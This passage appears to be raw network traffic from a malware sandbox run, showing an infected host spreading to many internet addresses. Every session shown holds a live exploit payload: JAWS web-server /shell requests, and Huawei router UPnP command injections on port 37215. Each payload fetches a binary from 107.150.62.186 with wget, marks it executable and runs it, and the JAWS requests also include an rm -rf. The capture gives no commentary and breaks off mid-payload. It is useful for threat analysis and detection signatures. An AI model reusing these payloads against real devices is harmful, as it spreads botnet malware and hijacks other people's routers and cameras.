88	192.168.2.13	49834	95.145.163.29	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.069109917 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	38472	5.252.142.147	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.069901943 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	41514	161.107.166.33	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.070739031 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	39636	72.145.72.193	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:54.071548939 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	36312	203.249.13.96	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.094194889 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	39838	95.67.170.147	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.095227957 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	44432	92.178.11.42	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.096184015 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	46554	63.43.10.28	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.797593117 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	43716	41.19.166.133	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.797667980 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	54802	99.164.207.221	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.798707962 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.13	44840	156.255.139.215	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.799153090 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.13	48844	78.20.11.62	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.799876928 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.13	43950	197.60.138.82	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.800518036 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.13	37248	158.69.164.161	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.800956011 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	40180	41.8.30.91	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.801969051 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	50166	92.185.151.122	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.802150011 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	48512	125.109.219.8	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.803239107 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	58694	156.88.155.128	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.803599119 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.13	54474	38.94.34.240	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.804208040 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.13	35698	197.96.31.0	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.805089951 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.13	36182	131.92.77.249	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.805248022 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.13	41496	19.126.39.244	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.806457996 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.13	48754	41.254.75.15	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.806551933 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.13	57958	41.172.224.67	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.807863951 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; 